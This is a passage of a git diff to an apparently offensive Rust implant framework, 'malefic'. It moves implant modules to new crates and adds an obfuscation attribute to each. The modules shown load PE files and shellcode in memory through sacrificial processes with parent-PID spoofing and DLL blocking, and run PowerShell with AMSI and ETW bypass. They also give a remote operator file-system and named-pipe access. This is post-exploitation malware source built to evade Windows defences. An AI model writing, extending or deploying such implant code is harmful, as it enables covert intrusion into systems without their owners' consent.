ret.as_bytes().to_vec(); diff --git a/malefic-modules/src/execute/execute_dll.rs b/malefic-modules/src/execute/execute_dll.rs index eb6a9e7..20e8dde 100644 --- a/malefic-modules/src/execute/execute_dll.rs +++ b/malefic-modules/src/execute/execute_dll.rs @@ -1,11 +1,11 @@ #![allow(unused_assignments)] use std::ptr::null; -use malefic_helper::win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; -use malefic_helper::common::utils::format_cmdline; -use malefic_proto::proto::modulepb::BinaryResponse; use crate::execute::Arch; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecuteDll {} @@ -14,9 +14,15 @@ pub struct ExecuteDll {} impl Module for ExecuteDll {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteDll { - #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteDll { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let timeout = request.timeout; let delay = request.delay; @@ -43,7 +49,8 @@ impl malefic_proto::module::ModuleImpl for ExecuteDll { is_x86, sacrifice.ppid, sacrifice.block_dll, - request.output); + request.output, + ); } } else { let cmdline = if request.args.is_empty() { @@ -51,7 +58,7 @@ impl malefic_proto::module::ModuleImpl for ExecuteDll { } else { format_cmdline(request.process_name, request.args) }; - + unsafe { result = inline_pe( request.bin.as_ptr() as _, @@ -65,17 +72,19 @@ impl malefic_proto::module::ModuleImpl for ExecuteDll { true, need_output, timeout, - delay + delay, ); } } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse{ - status: 0, - message: Vec::new(), - data: result, - err: "".to_string(), - }))) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) } - -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_exe.rs b/malefic-modules/src/execute/execute_exe.rs index 248053d..d045929 100644 --- a/malefic-modules/src/execute/execute_exe.rs +++ b/malefic-modules/src/execute/execute_exe.rs @@ -1,12 +1,12 @@ #![allow(unused_assignments)] use std::ptr::null; -use malefic_helper::win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; -use malefic_helper::common::utils::format_cmdline; -use malefic_proto::module::{Module, ModuleResult, TaskResult}; -use malefic_proto::proto::modulepb::BinaryResponse; use crate::execute::Arch; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_module::{Module, ModuleResult, TaskResult}; +use malefic_os_win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecuteExe {} @@ -15,9 +15,15 @@ pub struct ExecuteExe {} impl Module for ExecuteExe {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteExe { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteExe { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let is_x86 = matches!(Arch::from_u32(request.arch), Some(Arch::I686)); let entrypoint = request.entry_point; @@ -44,7 +50,8 @@ impl malefic_proto::module::ModuleImpl for ExecuteExe { is_x86, sacrifice.ppid, sacrifice.block_dll, - request.output); + request.output, + ); } } else { let par = if request.args.is_empty() { @@ -67,17 +74,19 @@ impl malefic_proto::module::ModuleImpl for ExecuteExe { request.output, // 1000 request.timeout, - request.delay + request.delay, ); } } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse{ - status: 0, - message: Vec::new(), - data: result, - err: "".to_string(), - })) - ) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_local.rs b/malefic-modules/src/execute/execute_local.rs index 3e5aa01..5e08457 100644 --- a/malefic-modules/src/execute/execute_local.rs +++ b/malefic-modules/src/execute/execute_local.rs @@ -1,10 +1,10 @@ use std::ptr::null_mut; -use malefic_helper::common::utils::format_cmdline; -use malefic_proto::proto::modulepb::BinaryResponse; -use malefic_helper::win::kit::pe::run_sacrifice; -use malefic_helper::common::filesys::get_binary; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::run_sacrifice; +use malefic_proto::proto::modulepb::BinaryResponse; +use malefic_sysinfo::filesys::get_binary; pub struct ExecuteLocal {} @@ -13,9 +13,15 @@ pub struct ExecuteLocal {} impl Module for ExecuteLocal {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteLocal { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteLocal { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> malefic_proto::module::ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let mut exec_response = BinaryResponse::default(); @@ -36,10 +42,14 @@ impl malefic_proto::module::ModuleImpl for ExecuteLocal { hijack_commandline.as_bytes(), sacrifice.ppid, request.output, - sacrifice.block_dll); + sacrifice.block_dll, + ); } } exec_response.data = result; - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(exec_response))) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(exec_response), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_powershell.rs b/malefic-modules/src/execute/execute_powershell.rs index b8dea0c..97f8459 100644 --- a/malefic-modules/src/execute/execute_powershell.rs +++ b/malefic-modules/src/execute/execute_powershell.rs @@ -1,7 +1,7 @@ -use malefic_proto::proto::modulepb::BinaryResponse; -use malefic_helper::win::kit::bypass::{bypass_amsi, bypass_etw, enable_amsi, enable_etw}; -use malefic_helper::win::kit::pwsh::pwsh_exec_command; use crate::prelude::*; +use malefic_os_win::kit::bypass::{bypass_amsi, bypass_etw, enable_amsi, enable_etw}; +use malefic_os_win::kit::pwsh::pwsh_exec_command; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecutePowershell {} #[async_trait] @@ -9,13 +9,14 @@ pub struct ExecutePowershell {} impl Module for ExecutePowershell {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecutePowershell { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecutePowershell { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let amsi_bypass = request.param.contains_key("bypass_amsi"); @@ -39,12 +40,14 @@ impl malefic_proto::module::ModuleImpl for ExecutePowershell { enable_etw(); } } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse{ - status: 0, - message: Vec::new(), - data: result, - err: "".to_string(), - })) - ) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_shellcode.rs b/malefic-modules/src/execute/execute_shellcode.rs index d5d7379..c446007 100644 --- a/malefic-modules/src/execute/execute_shellcode.rs +++ b/malefic-modules/src/execute/execute_shellcode.rs @@ -1,7 +1,10 @@ #![allow(unused_assignments)] -use malefic_helper::common::utils::format_cmdline; -use malefic_proto::proto::modulepb::BinaryResponse; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_proto::proto::modulepb::BinaryResponse; + +#[cfg(target_os = "windows")] +use malefic_loader::win::apc::LoaderType; pub struct ExecuteShellcode {} @@ -10,14 +13,14 @@ pub struct ExecuteShellcode {} impl Module for ExecuteShellcode {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteShellcode { - +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteShellcode { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let bin = request.bin; @@ -29,7 +32,12 @@ impl malefic_proto::module::ModuleImpl for ExecuteShellcode { let mut is_block_dll = false; let mut ret: Vec = Vec::new(); let cmdline = format_cmdline(process_name, params); - + + #[cfg(target_os = "windows")] + let loader_type = LoaderType::from_str(&request.r#type); + + #[cfg(target_os = "windows")] + debug!("loader_type: {:?}", loader_type); unsafe { if sacrifice.is_some() { let sacrifice = sacrifice.unwrap(); @@ -39,30 +47,30 @@ impl malefic_proto::module::ModuleImpl for ExecuteShellcode { } #[cfg(target_os = "windows")] { - ret = to_error!(malefic_helper::win::loader::loader( + ret = to_error!(malefic_loader::win::loader( bin, is_need_sacrifice, cmdline.as_ptr() as _, ppid, is_block_dll, - request.output + request.output, + loader_type as u32 ))?; } #[cfg(target_os = "linux")] { - ret = to_error!(malefic_helper::linux::loader::loader( - bin, - request.output - ))?; + ret = to_error!(malefic_loader::linux::loader(bin, request.output))?; } } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse{ - status: 0, - message: Vec::new(), - data: ret, - err: "".to_string(), - }))) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: ret, + err: "".to_string(), + }), + )) } - -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/inline_local.rs b/malefic-modules/src/execute/inline_local.rs index 4d8e524..df4b7d7 100644 --- a/malefic-modules/src/execute/inline_local.rs +++ b/malefic-modules/src/execute/inline_local.rs @@ -1,11 +1,11 @@ #![allow(unused_assignments)] use std::ptr::null; -use malefic_helper::common::utils::format_cmdline; -use malefic_helper::win::kit::pe::inlinepe::inline_pe; -use malefic_proto::proto::modulepb::BinaryResponse; -use malefic_helper::common::filesys::get_binary; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::inlinepe::inline_pe; +use malefic_proto::proto::modulepb::BinaryResponse; +use malefic_sysinfo::filesys::get_binary; pub struct InlineLocal; @@ -14,9 +14,15 @@ pub struct InlineLocal; impl Module for InlineLocal {} #[async_trait] -impl malefic_proto::module::ModuleImpl for InlineLocal { +#[obfuscate] +impl malefic_module::ModuleImpl for InlineLocal { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let (bin_content, bin_name) = to_error!(get_binary(&request.path))?; @@ -38,7 +44,7 @@ impl malefic_proto::module::ModuleImpl for InlineLocal { false, request.output, request.timeout, - request.delay + request.delay, ) }; @@ -52,4 +58,4 @@ impl malefic_proto::module::ModuleImpl for InlineLocal { }), )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/mod.rs b/malefic-modules/src/execute/mod.rs index 30bc156..9219cb4 100644 --- a/malefic-modules/src/execute/mod.rs +++ b/malefic-modules/src/execute/mod.rs @@ -1,6 +1,11 @@ +#[cfg(feature = "exec")] pub mod exec; +#[cfg(feature = "execute_shellcode")] pub mod execute_shellcode; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_armory")] +pub mod execute_armory; #[cfg(target_os = "windows")] #[cfg(feature = "execute_assembly")] pub mod execute_assembly; @@ -8,17 +13,14 @@ pub mod execute_assembly; #[cfg(feature = "execute_bof")] pub mod execute_bof; #[cfg(target_os = "windows")] -#[cfg(feature = "execute_powershell")] -pub mod execute_powershell; -#[cfg(target_os = "windows")] -#[cfg(feature = "execute_armory")] -pub mod execute_armory; +#[cfg(feature = "execute_dll")] +pub mod execute_dll; #[cfg(target_os = "windows")] #[cfg(feature = "execute_exe")] pub mod execute_exe; #[cfg(target_os = "windows")] -#[cfg(feature = "execute_dll")] -pub mod execute_dll; +#[cfg(feature = "execute_powershell")] +pub mod execute_powershell; #[cfg(target_os = "windows")] #[cfg(feature = "execute_local")] @@ -31,6 +33,7 @@ pub mod dllspawn; #[cfg(target_os = "windows")] #[cfg(feature = "inline_local")] pub mod inline_local; +#[cfg(feature = "open")] pub(crate) mod open; #[cfg_attr(debug_assertions, derive(Debug))] diff --git a/malefic-modules/src/execute/open.rs b/malefic-modules/src/execute/open.rs index 6adbf8f..bec134f 100644 --- a/malefic-modules/src/execute/open.rs +++ b/malefic-modules/src/execute/open.rs @@ -1,7 +1,7 @@ -use malefic_helper::common::exec; -use malefic_helper::common::exec::is_file_in_use; -use malefic_proto::proto::modulepb::ExecResponse; use crate::prelude::*; +use malefic_process::exec; +use malefic_process::exec::is_file_in_use; +use malefic_proto::proto::modulepb::ExecResponse; pub struct Open {} @@ -10,21 +10,33 @@ pub struct Open {} impl Module for Open {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Open { +#[obfuscate] +impl malefic_module::ModuleImpl for Open { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> malefic_proto::module::ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { let request = check_request!(receiver, Body::ExecRequest)?; if is_file_in_use(&request.path) && request.singleton { - Ok(TaskResult::new_with_body(id, Body::ExecResponse(ExecResponse{ - status_code: 0, - stdout: "File is in use, skipped".as_bytes().to_vec(), - stderr: vec![], - pid: 0, - end: true, - }))) - }else{ + Ok(TaskResult::new_with_body( + id, + Body::ExecResponse(ExecResponse { + status_code: 0, + stdout: "File is in use, skipped".as_bytes().to_vec(), + stderr: vec![], + pid: 0, + end: true, + }), + )) + } else { exec::shell_execute(&request.path, "open")?; - Ok(TaskResult::new_with_body(id, Body::ExecResponse(ExecResponse::default()))) + Ok(TaskResult::new_with_body( + id, + Body::ExecResponse(ExecResponse::default()), + )) } } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/cat.rs b/malefic-modules/src/fs/cat.rs index 3c6e29a..feded49 100644 --- a/malefic-modules/src/fs/cat.rs +++ b/malefic-modules/src/fs/cat.rs @@ -1,23 +1,32 @@ use crate::prelude::*; +use malefic_proto::proto::modulepb::BinaryResponse; -pub struct Cat{} +pub struct Cat {} #[async_trait] #[module_impl("cat")] impl Module for Cat {} #[async_trait] +#[obfuscate] impl ModuleImpl for Cat { - #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let filename = check_field!(request.input)?; - let content = std::fs::read_to_string(filename)?; + let data = std::fs::read(filename)?; - let mut response = malefic_proto::proto::modulepb::Response::default(); - response.output = content; - - Ok(TaskResult::new_with_body(id, Body::Response(response))) + let mut response = BinaryResponse::default(); + response.data = data; + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(response), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/cd.rs b/malefic-modules/src/fs/cd.rs index 02e19fe..e60bcc3 100644 --- a/malefic-modules/src/fs/cd.rs +++ b/malefic-modules/src/fs/cd.rs @@ -7,19 +7,25 @@ pub struct Cd {} impl Module for Cd {} #[async_trait] +#[obfuscate] impl ModuleImpl for Cd { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; - // å°è¯•设置当å‰ç›®å½•,如果失败则返回错误 + // Try to set current directory, return error if failed std::env::set_current_dir(&request.input)?; - // 正常逻辑 + // Normal logic let mut response = Response::default(); let output = std::env::current_dir()?; - response.output = output.to_string_lossy().to_string(); + response.output = output.to_string_lossy().to_string(); Ok(TaskResult::new_with_body(id, Body::Response(response))) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/chmod.rs b/malefic-modules/src/fs/chmod.rs index c1f17bc..a652de8 100644 --- a/malefic-modules/src/fs/chmod.rs +++ b/malefic-modules/src/fs/chmod.rs @@ -7,17 +7,23 @@ pub struct Chmod {} impl Module for Chmod {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Chmod { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for Chmod { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let args = check_field!(request.args, 2)?; if let [path, mode_str] = &args[..] { let mode = u32::from_str_radix(&mode_str.trim(), 8)?; - malefic_helper::common::filesys::chmod(&path, mode)?; + malefic_sysinfo::filesys::chmod(&path, mode)?; } Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/chown.rs b/malefic-modules/src/fs/chown.rs index 3592f77..382e4ad 100644 --- a/malefic-modules/src/fs/chown.rs +++ b/malefic-modules/src/fs/chown.rs @@ -7,21 +7,22 @@ pub struct Chown {} impl Module for Chown {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Chown { +#[obfuscate] +impl malefic_module::ModuleImpl for Chown { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - _sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ChownRequest)?; - // 检查 uid å’Œ gid 是å¦å­˜åœ¨ï¼Œå¹¶å°è¯•将它们解æžä¸º Uid å’Œ Gid + // Check if uid and gid exist, and try to parse them as Uid and Gid let uid = check_field!(request.uid)?.parse::()?; let gid = check_field!(request.gid)?.parse::()?; let path = check_field!(request.path)?; - malefic_helper::common::filesys::chown(&path, uid, gid)?; + malefic_sysinfo::filesys::chown(&path, uid, gid)?; Ok(TaskResult::new(id)) } diff --git a/malefic-modules/src/fs/cp.rs b/malefic-modules/src/fs/cp.rs index 53439ce..e4fea78 100644 --- a/malefic-modules/src/fs/cp.rs +++ b/malefic-modules/src/fs/cp.rs @@ -1,15 +1,20 @@ use crate::prelude::*; - pub struct Cp {} #[async_trait] #[module_impl("cp")] -impl Module for Cp{} +impl Module for Cp {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Cp { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for Cp { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let params = check_field!(request.args, 2)?; @@ -17,4 +22,4 @@ impl malefic_proto::module::ModuleImpl for Cp { Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/driver.rs b/malefic-modules/src/fs/driver.rs index 46c8fa0..d7e22f4 100644 --- a/malefic-modules/src/fs/driver.rs +++ b/malefic-modules/src/fs/driver.rs @@ -1,5 +1,5 @@ -use malefic_proto::proto::modulepb::{DriveInfo, EnumDriversResponse}; use crate::prelude::*; +use malefic_proto::proto::modulepb::{DriveInfo, EnumDriversResponse}; pub struct EnumDrivers {} @@ -8,13 +8,19 @@ pub struct EnumDrivers {} impl Module for EnumDrivers {} #[async_trait] -impl malefic_proto::module::ModuleImpl for EnumDrivers { +#[obfuscate] +impl malefic_module::ModuleImpl for EnumDrivers { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let _request = check_request!(receiver, Body::Request)?; let mut drives = vec![]; - let drive_list = malefic_helper::win::driver::enum_drivers(); + let drive_list = malefic_sysinfo::win::driver::enum_drivers(); for (drive_path, drive_type) in drive_list { drives.push(DriveInfo { path: drive_path, @@ -25,8 +31,9 @@ impl malefic_proto::module::ModuleImpl for EnumDrivers { }); } - Ok(TaskResult::new_with_body(id, Body::EnumDriversResponse(EnumDriversResponse { - drives, - }))) + Ok(TaskResult::new_with_body( + id, + Body::EnumDriversResponse(EnumDriversResponse { drives }), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/ls.rs b/malefic-modules/src/fs/ls.rs index 10001fd..8fa47e0 100644 --- a/malefic-modules/src/fs/ls.rs +++ b/malefic-modules/src/fs/ls.rs @@ -1,5 +1,5 @@ -use malefic_proto::proto::modulepb::{FileInfo, LsResponse}; use crate::prelude::*; +use malefic_proto::proto::modulepb::{FileInfo, LsResponse}; pub struct Ls {} @@ -8,20 +8,27 @@ pub struct Ls {} impl Module for Ls {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Ls { -#[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for Ls { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let path = check_field!(request.input)?; let mut entries = vec![]; let read_dir = std::fs::read_dir(&path)?; - // let abs_path = std::fs::canonicalize(&path)?; - - for entry in read_dir { - let entry = entry?; + + for entry in read_dir.flatten() { let p = entry.path(); - let metadata = entry.metadata()?; - let mode = malefic_helper::common::filesys::get_file_mode(&metadata); + let metadata = match entry.metadata() { + Ok(m) => m, + Err(_) => continue, + }; + let mode = malefic_sysinfo::filesys::get_file_mode(&metadata); let link = if metadata.file_type().is_symlink() { std::fs::read_link(&p) .map(|path| path.to_string_lossy().into_owned()) @@ -30,22 +37,30 @@ impl malefic_proto::module::ModuleImpl for Ls { String::new() }; entries.push(FileInfo { - name: p.file_name().map(|os_str| os_str.to_string_lossy().to_string()).unwrap_or(String::new()), + name: p + .file_name() + .map(|os_str| os_str.to_string_lossy().to_string()) + .unwrap_or(String::new()), is_dir: metadata.is_dir(), size: metadata.len(), mode, - mod_time: metadata.modified()?.duration_since(std::time::UNIX_EPOCH) + mod_time: metadata + .modified() + .ok() + .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) .unwrap_or(std::time::Duration::from_secs(0)) - .as_secs() as i64, - link, + .as_secs() as i64, + link, }); } - - Ok(TaskResult::new_with_body(id, Body::LsResponse(LsResponse { - path, - exists: true, - files: entries, - }))) + Ok(TaskResult::new_with_body( + id, + Body::LsResponse(LsResponse { + path, + exists: true, + files: entries, + }), + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/mkdir.rs b/malefic-modules/src/fs/mkdir.rs index 73ee983..20cf25d 100644 --- a/malefic-modules/src/fs/mkdir.rs +++ b/malefic-modules/src/fs/mkdir.rs @@ -1,14 +1,20 @@ use crate::prelude::*; -pub struct Mkdir{} +pub struct Mkdir {} #[async_trait] #[module_impl("mkdir")] impl Module for Mkdir {} #[async_trait] +#[obfuscate] impl ModuleImpl for Mkdir { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let dir = check_field!(request.input)?; @@ -17,4 +23,4 @@ impl ModuleImpl for Mkdir { Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/mod.rs b/malefic-modules/src/fs/mod.rs index ecfc39c..8447384 100644 --- a/malefic-modules/src/fs/mod.rs +++ b/malefic-modules/src/fs/mod.rs @@ -1,16 +1,26 @@ -pub mod pwd; -pub mod cd; -pub mod ls; -pub mod rm; -pub mod mv; -pub mod cp; +#[cfg(feature = "cat")] pub mod cat; -pub mod mkdir; -#[cfg(not(target_family = "windows"))] +#[cfg(feature = "cd")] +pub mod cd; +#[cfg(all(feature = "chmod", not(target_family = "windows")))] pub mod chmod; -#[cfg(not(target_family = "windows"))] +#[cfg(all(feature = "chown", not(target_family = "windows")))] pub mod chown; -#[cfg(target_family = "windows")] -pub mod pipe; -#[cfg(target_family = "windows")] +#[cfg(feature = "cp")] +pub mod cp; +#[cfg(all(feature = "enum_drivers", target_family = "windows"))] pub mod driver; +#[cfg(feature = "ls")] +pub mod ls; +#[cfg(feature = "mkdir")] +pub mod mkdir; +#[cfg(feature = "mv")] +pub mod mv; +#[cfg(all(feature = "pipe", target_family = "windows"))] +pub mod pipe; +#[cfg(feature = "pwd")] +pub mod pwd; +#[cfg(feature = "rm")] +pub mod rm; +#[cfg(feature = "touch")] +pub mod touch; diff --git a/malefic-modules/src/fs/mv.rs b/malefic-modules/src/fs/mv.rs index 5d05ef1..aa03be4 100644 --- a/malefic-modules/src/fs/mv.rs +++ b/malefic-modules/src/fs/mv.rs @@ -7,8 +7,14 @@ pub struct Mv {} impl Module for Mv {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Mv { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for Mv { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let args = check_field!(request.args, 2)?; @@ -19,4 +25,4 @@ impl malefic_proto::module::ModuleImpl for Mv { Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/fs/pipe.rs b/malefic-modules/src/fs/pipe.rs index 7eb5159..cd87f67 100644 --- a/malefic-modules/src/fs/pipe.rs +++ b/malefic-modules/src/fs/pipe.rs @@ -1,11 +1,15 @@ -use futures::SinkExt; -use malefic_helper::win::pipe::{PipeClient, NamedPipe}; use crate::prelude::*; -use std::sync::{Arc, atomic::{AtomicBool, Ordering}}; +use futures::SinkExt; +use futures_timer::Delay; +use malefic_os_win::pipe::{NamedPipe, PipeClient}; +use malefic_proto::proto::modulepb::BinaryResponse; use std::collections::{HashMap, VecDeque}; use std::sync::Mutex; +use std::sync::{ + atomic::{AtomicBool, Ordering}, + Arc, +}; use std::time::Duration; -use futures_timer::Delay; pub struct PipeUpload {} @@ -14,12 +18,13 @@ pub struct PipeUpload {} impl Module for PipeUpload {} #[async_trait] -impl malefic_proto::module::ModuleImpl for PipeUpload { +#[obfuscate] +impl malefic_module::ModuleImpl for PipeUpload { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::PipeRequest)?; let pipe_name = check_field!(request.name)?; @@ -28,7 +33,7 @@ impl malefic_proto::module::ModuleImpl for PipeUpload { Ok(client) => client, Err(e) => { return Err(e.into()); - }, + } }; if request.data.is_empty() { @@ -69,12 +74,13 @@ pub struct PipeRead {} impl Module for PipeRead {} #[async_trait] -impl malefic_proto::module::ModuleImpl for PipeRead { +#[obfuscate] +impl malefic_module::ModuleImpl for PipeRead { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - _sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::PipeRequest)?; let pipe_name: String = check_field!(request.name)?; @@ -91,28 +97,34 @@ impl malefic_proto::module::ModuleImpl for PipeRead { }; if has_active_server { - let cached_data = { + let cached_bytes = { let mut cache = PIPE_DATA_CACHE.lock().unwrap(); if let Some(queue) = cache.get_mut(&full_pipe_name) { - let mut data_vec = Vec::new(); - while let Some(data) = queue.pop_front() { - data_vec.push(data); + let mut bytes = Vec::new(); + while let Some(chunk) = queue.pop_front() { + bytes.extend_from_slice(&chunk); } - data_vec.join("") + bytes } else { - String::new() + Vec::new() } }; - let resp = Response { - output: cached_data, - error: "".to_string(), - kv: Default::default(), - array: vec![], - }; - - debug!("Read cached data from pipe server {}: {} bytes", &full_pipe_name, resp.output.len()); - return Ok(TaskResult::new_with_body(id, Body::Response(resp))); + debug!( + "Read cached data from pipe server {}: {} bytes", + &full_pipe_name, + cached_bytes.len() + ); + + return Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + data: cached_bytes, + message: Vec::new(), + err: String::new(), + status: 200, + }), + )); } else { let pipe_client = match PipeClient::connect(&pipe_name) { Ok(client) => client, @@ -125,7 +137,7 @@ impl 